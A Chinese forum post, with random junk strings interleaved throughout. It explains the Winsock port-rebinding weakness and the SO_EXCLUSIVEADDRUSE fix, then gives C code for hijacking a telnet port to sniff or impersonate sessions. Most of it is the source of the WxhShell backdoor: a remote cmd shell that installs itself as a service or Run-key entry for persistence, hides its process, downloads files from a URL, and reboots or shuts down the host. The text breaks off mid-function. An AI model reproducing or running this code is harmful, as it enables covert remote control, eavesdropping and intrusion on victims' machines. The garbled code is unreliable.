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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?.v!RdM+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z#w1,n88 cGsP0LkHC saddr.sin_family = AF_INET; ,
y{o!w ^(N+s? saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6 [a CjW }}cVPB7 bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); C(}9 >f'nl 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?5$\8gZ /w_Sc{ 这意味着什么?意味着可以进行如下的攻击: ,BW^j.7 viD+~j18 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |ng[s6uf K\IS"b3X 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;?=nr 5;q 5>KAVtYvc 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 &KbtW_ un W{ZfEC 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 -66|Y a}M7"v9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S'Yg!KwX Ea!}r|~]0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 asQ pVP >|6[uKrO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 xb8fV*RO8A ^zsCF0 #include baR{ #include C0i: *1 #include rU<
H7U #include Z:O24{ro5 DWORD WINAPI ClientThread(LPVOID lpParam); F8_pwJUpf- int main() 6}C4 SZ { fR6ot#b WORD wVersionRequested; eJ'2CM6 DWORD ret; Q`5jEtu#, WSADATA wsaData; >5/dmHPc BOOL val; FLEf( SOCKADDR_IN saddr; &oTSff>p} SOCKADDR_IN scaddr; .g(yTA int err; F=iz\O!6 SOCKET s; HY5g>wv@ SOCKET sc; n@T4z.*~lA int caddsize; @,M !&l HANDLE mt; (W=z0Lqu DWORD tid; ^5=}Y>EJO wVersionRequested = MAKEWORD( 2, 2 ); E|6X.Ny]
err = WSAStartup( wVersionRequested, &wsaData ); Va(R*38k if ( err != 0 ) { Z=825[p printf("error!WSAStartup failed!\n"); ghbxRnU} return -1; ZS >}NN } &p8K0 | saddr.sin_family = AF_INET; g@MTKqs "E/F{6NH //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 kn+`2-0 72~)bu saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ws?p2$ Cla saddr.sin_port = htons(23); qFe|$rVVIl if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {(ey!O { :'1ePq printf("error!socket failed!\n"); HQ/PHUg2 return -1; ?*[t'D9f- } `o/tpuI val = TRUE; 6dC!&leNi //SO_REUSEADDR选项就是可以实现端口重绑定的 9WtTUk if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !?O:%QG { "LP4)hr_` printf("error!setsockopt failed!\n"); [7|}h/ return -1; T=;'"S } e3)rF5pp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; \&@Tq-o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 78dmXOZ'_h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Zp-
Av8 e/#4)@] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) d/Zt}{ { .LnXKRd{ ret=GetLastError(); S U2`H7C* printf("error!bind failed!\n"); #3kR}Amow return -1; qi7dcn@d } `j_R ?mY listen(s,2); >@h0@N while(1) jpm}EOq<% { MZv&$KG4m@ caddsize = sizeof(scaddr); ;X|;/@@ //接受连接请求 cO)GiWE sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); rZ: if(sc!=INVALID_SOCKET) =Q3Go8b4HJ { I[tU}oj P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); wqA5GK>m2 if(mt==NULL) -uy}]s5Qu { (5_o H printf("Thread Creat Failed!\n"); (:Bo'q
S break; vQu) uml } OEdp:dW| } oUltr CloseHandle(mt); ; bP7| } k(%RX_]C closesocket(s); clG3t
eC WSACleanup(); '~3(s?B return 0; jDH)S{k } LP=!u~? DWORD WINAPI ClientThread(LPVOID lpParam) u`E_Q8 { >tib21* SOCKET ss = (SOCKET)lpParam; *DDfdn SOCKET sc; z_A%>E4 unsigned char buf[4096]; =k3QymA SOCKADDR_IN saddr; ^]E| >~\ long num; /R9>\}.yJ DWORD val; '
nf"u DWORD ret; 9Ki86 //如果是隐藏端口应用的话,可以在此处加一些判断 ?G!^|^S* //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 0A5xG& saddr.sin_family = AF_INET; bsqoR8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); tet saddr.sin_port = htons(23); D=9x/ ) *G if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) F^`sIrZvs { [>C^ 0\Z~ printf("error!socket failed!\n"); -bo0!@MK return -1; -J? df } {nj\dU val = 100; &S3szhe if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %\:.rs^ { 2eyvY|:Q> ret = GetLastError(); v oC<
/}E return -1; Szwa2IdI. } rp(`V@x3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ix1ec^?f { J0o U5d=3 ret = GetLastError(); jUBlIVl] return -1; I&1Mh4yu } #H7(d T if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ?;^_%XSQ* { 1AoBsEnd printf("error!socket connect failed!\n"); IXd&$h]Lq closesocket(sc); xo^_;(; closesocket(ss); $2;YJjz( return -1; QI`Z[caF } U$0#j while(1) #;?z< { li/O&@g` //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %9Ulgs8 = //如果是嗅探内容的话,可以再此处进行内容分析和记录 zZ;tSKL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {&K#~[) num = recv(ss,buf,4096,0); d&R/f Im if(num>0) 3y 0`G8P'h send(sc,buf,num,0); dzbzZ@y else if(num==0) ijyj}gpWha break; 8V~w3ssz num = recv(sc,buf,4096,0); T*A_F
[ if(num>0) We9C9)0 send(ss,buf,num,0); -*?a*q/#nQ else if(num==0) (sr_&7A break; u\=Nu4)Z
F } `$MO.K{ closesocket(ss); m0=CD closesocket(sc); 3R4-MK return 0 ; A!iV iX &y } 4(B,aU>y }>)"!p;t_ ih1SN,/ ========================================================== r,yhc = TS=p8@w} 下边附上一个代码,,WXhSHELL ;[dcbyu@ LZ\}Kgi(!T ========================================================== rJ!xzge;G J0|/g2%0 #include "stdafx.h" 2v%~KV 9^Wj< #include <stdio.h> N],A&}30 #include <string.h> %&z9^}Vd[ #include <windows.h> chfj|Ce]x #include <winsock2.h> <=jE,6_| #include <winsvc.h> =b9?r #include <urlmon.h> v*3ezf\ \>9%=32u. #pragma comment (lib, "Ws2_32.lib") lBPZB% #pragma comment (lib, "urlmon.lib") 4y)"IOd#| Y
Xn)? #define MAX_USER 100 // 最大客户端连接数 3G5i+9Nt.L #define BUF_SOCK 200 // sock buffer =I7#Vtd^K< #define KEY_BUFF 255 // 输入 buffer rxm!'.+ pD`7N<F 3 #define REBOOT 0 // 重启 2ht<" #define SHUTDOWN 1 // 关机 HjV83S; ]j_S2lt #define DEF_PORT 5000 // 监听端口 T7!a@ m0un=>{ #define REG_LEN 16 // 注册表键长度 PtmdUHvD #define SVC_LEN 80 // NT服务名长度 3haY{CEr ]6$NU
[ // 从dll定义API 3go!P]) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R.>/%o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h r t\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <7)Vj*VxC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dsJ}C|N JJ7-$h'0q // wxhshell配置信息 ~Bj-n6 QDE struct WSCFG { ,:;nq> ; int ws_port; // 监听端口 !|Vjv}UO char ws_passstr[REG_LEN]; // 口令 @c7 On)sy int ws_autoins; // 安装标记, 1=yes 0=no qj/ 66ak char ws_regname[REG_LEN]; // 注册表键名 vbFY} char ws_svcname[REG_LEN]; // 服务名 6>bKlYl&9 char ws_svcdisp[SVC_LEN]; // 服务显示名 #lV&U char ws_svcdesc[SVC_LEN]; // 服务描述信息 O6boTB_2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^B]M- XG int ws_downexe; // 下载执行标记, 1=yes 0=no gKS^-X{x
char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" h2uO+qEsu char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3tOnALv -41L^Di\ }; 51&wH MO/l(wO // default Wxhshell configuration ~_^nWT*BV struct WSCFG wscfg={DEF_PORT, NIV&)`w "xuhuanlingzhe", _0Wdm* 1, H(n_g
QAX "Wxhshell", Dr`A4LnqY "Wxhshell", S{fNeK "WxhShell Service", 9)H~I/9Y "Wrsky Windows CmdShell Service", T[ mTA>d "Please Input Your Password: ", _3kAN.g 1, ]+fL6"OD/2 " http://www.wrsky.com/wxhshell.exe", c$1ez "Wxhshell.exe" ?t?!)# X }; MIi:\m5 #?8'Z/1) // 消息定义模块 ~#(bX]+A char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Pf(z0o& char *msg_ws_prompt="\n\r? for help\n\r#>"; _(oJ8h( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; u~a<Psp&| char *msg_ws_ext="\n\rExit."; lC^q}Bh: char *msg_ws_end="\n\rQuit."; 2b3x|9o8 char *msg_ws_boot="\n\rReboot..."; <3ovCqa char *msg_ws_poff="\n\rShutdown..."; ;QW)tv.y char *msg_ws_down="\n\rSave to "; & ({X9 |A0kbC. char *msg_ws_err="\n\rErr!"; vgsu~(L; char *msg_ws_ok="\n\rOK!"; o2F6K*u} bha_bj char ExeFile[MAX_PATH]; LH0\SmhU int nUser = 0; ^Z2%b> HANDLE handles[MAX_USER]; [R& P.E7w' int OsIsNt; 3}Uae#oy ]$KH78MTW SERVICE_STATUS serviceStatus; |V:k8Ab SERVICE_STATUS_HANDLE hServiceStatusHandle; |p3]9H [,G]#<G?q // 函数声明 MqXA8D int Install(void); d+"KXt5CV int Uninstall(void); va#~ \%` int DownloadFile(char *sURL, SOCKET wsh); N[r@Y{ int Boot(int flag); 1 5rE|m^ void HideProc(void); PvKe|In( int GetOsVer(void); tA'i-D& int Wxhshell(SOCKET wsl); ,!bOzth2>K void TalkWithClient(void *cs); Nb(se*Y# int CmdShell(SOCKET sock); cUS2*7h int StartFromService(void); ,>"1'i&@ int StartWxhshell(LPSTR lpCmdLine);
O `rrg~6# 7r*>?]y+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZtDHNL VOID WINAPI NTServiceHandler( DWORD fdwControl ); =XudL^GF gy~M]u{ // 数据结构和表定义 ?Cmb3pX^\ SERVICE_TABLE_ENTRY DispatchTable[] = o<T>G{XYB { (7-K4j` {wscfg.ws_svcname, NTServiceMain}, u4fTC})4{C {NULL, NULL} a?Q~C<k }; 5C{X$7u YQe @C // 自我安装 RwT.B+Onuy int Install(void) `4Nc(aUr { p72+:I char svExeFile[MAX_PATH]; ]FQ4v.7 HKEY key; "ve?7&G7U strcpy(svExeFile,ExeFile); :sM|~gT t_P1a0Zu // 如果是win9x系统,修改注册表设为自启动 r_
r+&4n if(!OsIsNt) { uA\A4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { IcaIB) RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j:U>V7Kn3~ RegCloseKey(key); _VR4|)1g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h-!(O^M RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [o|]>(tk RegCloseKey(key); $0cMrf@ return 0; nc@ul') } #v~zf@<KLB } "B)DX*-\? } BWw7o{d else { cDE?X o'! I~4`NV0 // 如果是NT以上系统,安装为系统服务 l\MiG Na SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); V<ODt% if (schSCManager!=0) <2|x]b8 { vP&*(WfO) SC_HANDLE schService = CreateService ls#O0 ( <J`_Qc8C schSCManager, a ,W5T8 wscfg.ws_svcname, AS4m227 wscfg.ws_svcdisp, NP%ll e,l SERVICE_ALL_ACCESS, 7e}p:Vfp SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7 yF#G 9, SERVICE_AUTO_START, '90B),c{ SERVICE_ERROR_NORMAL, <|.S~HLTQ svExeFile, uiHlaMf NULL, |a^ydwb NULL, b/ZX}<s(1= NULL, kv `x NULL, )t)tk=R9N NULL HjnHl- ); ,9W 0fm\t if (schService!=0) t(}&<<1Bz { !gJAK<]iW CloseServiceHandle(schService); r("7
X2f CloseServiceHandle(schSCManager); >@]E1Qfe strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'HOcK8}b strcat(svExeFile,wscfg.ws_svcname); nc$?tC9V if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [C7:Yg7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =PO/Q|-v? RegCloseKey(key); paMw88*u return 0; (v(_XlMK } C-4I
e
} : PQA9U| CloseServiceHandle(schSCManager); UDp"+nS } ~ RTjcE } CGv(dE,G&] hA/FK return 1; Az0Yt31= } rEddX mv30xcc // 自我卸载 Snh\Fgdz int Uninstall(void) NK,)"WE { !pDS*{)E HKEY key; tx5@r;
pRt )B`# if(!OsIsNt) { ,[cWG)- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { '| Ag,x[ RegDeleteValue(key,wscfg.ws_regname); hi.{ RegCloseKey(key); %\5y6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M_*w)< RegDeleteValue(key,wscfg.ws_regname); G%'h'AV" RegCloseKey(key); q:?g?v return 0; %iJ6;V4 } S6]D;c8GE } TxxW/f9D } S!.xmc\ else { }Pw5*duq >n` OLHg; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #!,xjd if (schSCManager!=0) YK}(VF?& { ;gW~+hW ^ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lXB_HDY if (schService!=0) ]FFU,me2 { /~AwX8X if(DeleteService(schService)!=0) { P *%bG 4 CloseServiceHandle(schService); @br%:Nt CloseServiceHandle(schSCManager); `5!7Il return 0; gHox{*hb[ } LO` (V CloseServiceHandle(schService); !gT6So } TOBAh.1 CloseServiceHandle(schSCManager); t^h>~o'\ } ?V7[,I1? } yn%w' T /]ayc: return 1; )hQ`l d7B } +<3tv&" i]1[eGF // 从指定url下载文件 HP?e?3.T int DownloadFile(char *sURL, SOCKET wsh) -Mv`|odY/ { ,'ndQ{\9 HRESULT hr; ZS}2(t char seps[]= "/"; kdoE)C char *token; } [75`pC~O char *file; $s)
^zm~ char myURL[MAX_PATH]; 'fg`td char myFILE[MAX_PATH]; ,xR^8G8 y XS/3_A{ strcpy(myURL,sURL); (Ojg~P4;& token=strtok(myURL,seps); .Qi`5C:U while(token!=NULL) XPY66VC&_ { L8ZCGW\Rr file=token; wS:323
!l$ token=strtok(NULL,seps);
YemOP9 } rc;| ,\ 0<^K0>lm
p GetCurrentDirectory(MAX_PATH,myFILE); AE<AEq strcat(myFILE, "\\"); *1elUI2Rg strcat(myFILE, file); &Nec(q< send(wsh,myFILE,strlen(myFILE),0); Ke\?;1+ send(wsh,"...",3,0); QY{f= hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y RA[qc if(hr==S_OK) ,q:6[~n return 0; Ky$<WZs else y2<g96 return 1; +J#H9>To! XKR?vr7A2 } 35c9c(A =Qz8"rt# // 系统电源模块 pR~PB int Boot(int flag) /,B"H@J { DVCc^5# HANDLE hToken; a Y{E'K= TOKEN_PRIVILEGES tkp; .JH3,L"S^ ^@tn+'. if(OsIsNt) { KH@M &
>=^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
xXHz)w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3[8'pQ!& tkp.PrivilegeCount = 1; (-~tb- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y$'fds4P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); WM>9sJf if(flag==REBOOT) { _b#9^2o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m&;
t; return 0; u}u2{pO! } "e(OO/EZS else { R?I(f(ib if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Gq0~&6 return 0; .$?s :t } N;ssO, } i{%~&! else { Rfgc^ 3:j if(flag==REBOOT) { p6jR,m8S if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X1A;MA@0Ro return 0; K=!J=R; } op}x}Ioz else { wV U(Du if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;rk}\M$+ return 0; N|Rlb5\ } Jk(b=j } xu_Tocvop k*^.-v return 1; @++
X H} } ;/e!!P]jP tCA |sN // win9x进程隐藏模块 ko ~iDT void HideProc(void) TmO\!` { ~6@~fhu r^Gl~sX HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f^0vkWI2 if ( hKernel != NULL ) `uGX/yQ#= { 6
rmK_Y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mp@ JsCU ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s$`evX7D FreeLibrary(hKernel); N}s[0s } ^=W%G^jJy KnU "49 return; :X@;XEol~ } MR8-xO'w n>! E ] // 获取操作系统版本 qr6WSBc int GetOsVer(void) ZXr]V'Q? { `[Lap=.'. OSVERSIONINFO winfo; Ry/NfF= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); UVU} GetVersionEx(&winfo); \'1%"JWK
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e2Xx7*vS return 1; t F`>.= else in B}ydk return 0; kv) LH{ } <2,@rYe/ |a'Q^aT // 客户端句柄模块 ?J)%.~! int Wxhshell(SOCKET wsl) gR1X@j$_ { ~ocd4,d= SOCKET wsh; Zwq
uS9 struct sockaddr_in client; m<OxO\ Mpf DWORD myID; E8IWHh_ .,EZ-&6{ while(nUser<MAX_USER) =U@*adgw { ^hbh|Du int nSize=sizeof(client); A7:
o q7b wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c*\^61T if(wsh==INVALID_SOCKET) return 1; %zX'u.}8# u5idH),< handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); n1$##=wK] if(handles[nUser]==0) FRfMtxvU closesocket(wsh); /G84T,H else L.|GC7$0 nUser++; G+5G,|} } SuuWrt}5 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -=g`7^qa> flb3Iih return 0; s
fti[ } vtvr{Uqo@ MjG.Ili$m // 关闭 socket SSI&WZ2a void CloseIt(SOCKET wsh) 0<>iMr D { S
- 7JDE> closesocket(wsh); m]u#Dm7h nUser--; `SIJszqc
ExitThread(0); b?bIxCA8 } I>P</TE7 [N$@nA-d // 客户端请求句柄 Ye )(9 void TalkWithClient(void *cs) NT8%{>F` { 4NEk#n *|` ' L SOCKET wsh=(SOCKET)cs; 6J=~ *& char pwd[SVC_LEN]; {0QA+[Yd&! char cmd[KEY_BUFF]; 1pz6e8p:m char chr[1]; 4CN8>J'- int i,j; `zep`j&8^ mCq*@1Lp9 while (nUser < MAX_USER) { i[YYR,X| uAJ_`o[ if(wscfg.ws_passstr) { `Cb$8;)z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,fYO>l';`f //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -7+Fb^"L //ZeroMemory(pwd,KEY_BUFF); 7l:H~"9r i=0; pXQ&2s$ while(i<SVC_LEN) { AV8TP-Ls+ "#m*`n // 设置超时 Pb~S{): fd_set FdRead; JP@UvDE| struct timeval TimeOut; +bQn2PG= FD_ZERO(&FdRead); | _S9U| FD_SET(wsh,&FdRead); 5 wc&0h TimeOut.tv_sec=8; -eNi;u TimeOut.tv_usec=0; 1}'Jbj"/ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2.:b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bqLv81 V j#~4JGZt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ")o.x7~N pwd =chr[0]; [jLx}\] if(chr[0]==0xd || chr[0]==0xa) { z&-`<uV~ pwd=0; -,+JE0[ break; F,EHZ,<V } =0v{+#} i++; '7=*n_l } .^v7LF]Q %EVg.k$ // 如果是非法用户,关闭 socket ~ 01]VA if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^^ ?ECnpcU } XBeHyQp f|apk,o_ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xbmOch}j6 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,Qh4=+jwqn p4el9O&-tV while(1) { JE?XZp@V Ao]F_hZ ZeroMemory(cmd,KEY_BUFF);
N.2rF )<~b*^kl\ // 自动支持客户端 telnet标准 */S,CV j=0; ^^%*2^ while(j<KEY_BUFF) { ,Y&kW'2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {fS/ZG"5<t cmd[j]=chr[0]; ?c43cYb if(chr[0]==0xa || chr[0]==0xd) { :r~? Z6gK cmd[j]=0; aH>.o 1; break; '<@ PgO~ } 4b<:67
% j++; D)!k } gReaFnm M1oCa,8M+ // 下载文件 r<0.!j%c if(strstr(cmd,"http://")) { 9^}GUJy? send(wsh,msg_ws_down,strlen(msg_ws_down),0); I015)vFc if(DownloadFile(cmd,wsh)) %b_zUFHPp send(wsh,msg_ws_err,strlen(msg_ws_err),0); &XZ>}^lD^ else ;PbyR}s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $AX!L+<! } )@sz\yI%U else { 1f~DUku= EGa}ml/G switch(cmd[0]) { K3@UoR 4+uAd" // 帮助 D)mqe-%1 case '?': { v8WoV* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q"(i break; +^%F8GB } 1ITa6vjS // 安装 ,0])] case 'i': { v0HFW%YJ^J if(Install()) :oZ30} send(wsh,msg_ws_err,strlen(msg_ws_err),0); k!!o!r BS else `5gcc7b send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y6Rg@L&U break; . Bv;Zv } =?/J.[)<* // 卸载 ho0T$hB case 'r': { !e%#Zb
MIo if(Uninstall()) Kj}}O2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); <7)@Jds\ else rfK%%- send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); he!e~5<@y break; \BS^="AcpP } ZOU$do>O // 显示 wxhshell 所在路径 vZk+NS< case 'p': { {o;J'yjre1 char svExeFile[MAX_PATH]; f^',J@9@ strcpy(svExeFile,"\n\r"); Ldig/: strcat(svExeFile,ExeFile); O1-Ne.$ send(wsh,svExeFile,strlen(svExeFile),0); l3.HL> o break; #2n>J'} } G<>`O;i // 重启 o^lKM?t case 'b': { /#.6IV( send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F9Mv$g79 if(Boot(REBOOT)) i8EMjLBUR send(wsh,msg_ws_err,strlen(msg_ws_err),0); P=eL24j else { Xd{"+'29 closesocket(wsh); }yXa1#3 ExitThread(0); ;K`qSX;;c( } #IgY'L break; L0Xb^vx}m } 3d
\bB ! // 关机 Azu$F5G!n case 'd': { 5a_1x|Fhi send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vJK0>":G if(Boot(SHUTDOWN)) yn`H }@`k send(wsh,msg_ws_err,strlen(msg_ws_err),0); U
Tw\_s else { ~%>ke closesocket(wsh); 3~"G27, ExitThread(0); ]iYjS } >u~
l_? break; ^ WidA- } D1#fy=u69| // 获取shell S9U`-\L0 case 's': { uq{w1O5 CmdShell(wsh); F0])g closesocket(wsh); #jbo!
wdg ExitThread(0); A6pPx1-& break; [|E
93g } |3QKxS0 // 退出 4h|sbB"t case 'x': { NRgNh5/ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AEp|#H'
> CloseIt(wsh); L;wzvz\+ break; `ZC_F!
E } p0>W}+8fF // 离开 M e_.X_ case 'q': { qwoF4_VN send(wsh,msg_ws_end,strlen(msg_ws_end),0); |W:xbtPNy closesocket(wsh); ko2 ?q WSACleanup(); 4'Potv@/ exit(1); .}=gr+<bf break; L9W'TvTwo } 6Q"fRXM } tHgu#k0 } )7f;FWI qkPvE;" // 提示信息 CD]"Q1
t} if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ga%gu9 } 5%Hw,h } $pr\"!|z 62)Qr
return; "}fJ 2G3 } 4L)#ku$jW Dc-v`jZ@) // shell模块句柄 Gl;xd int CmdShell(SOCKET sock) ~ >6d}7xs { RrA9@95+ STARTUPINFO si; z_nv|5" ZeroMemory(&si,sizeof(si)); m~c6b{F3Z- si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &6deds
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; r}T(?KGx PROCESS_INFORMATION ProcessInfo; wGy`0c]v? char cmdline[]="cmd"; N5_` CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %'+}-w return 0; {8]Yqx)1]] } %JoHc? BRSIg] // 自身启动模式 FWC\(f int StartFromService(void) ^`iqa-1 { =^ZDP1h/} typedef struct &;3iHY; { ^-nL!>FYY DWORD ExitStatus; AdU0 sZ+&c DWORD PebBaseAddress; yrvV<} DWORD AffinityMask; :#nfdvqm DWORD BasePriority; ~ p~ ULONG UniqueProcessId; !1m7^3l7j ULONG InheritedFromUniqueProcessId; D*0[7:NSO } PROCESS_BASIC_INFORMATION; = q\TWz wHuz~y6 PROCNTQSIP NtQueryInformationProcess; ^ruz-N^Y! -sqd?L.p static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pGRk static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F%< ZEVm xyzYY}PS HANDLE hProcess; (4f]<Qt PROCESS_BASIC_INFORMATION pbi; ~~r7TPq RoFoEp HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /Z|K9a if(NULL == hInst ) return 0; S\M+*:7 X*w7q7\8-: g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); U%rEW[ j g_pGetModuleBaseName = 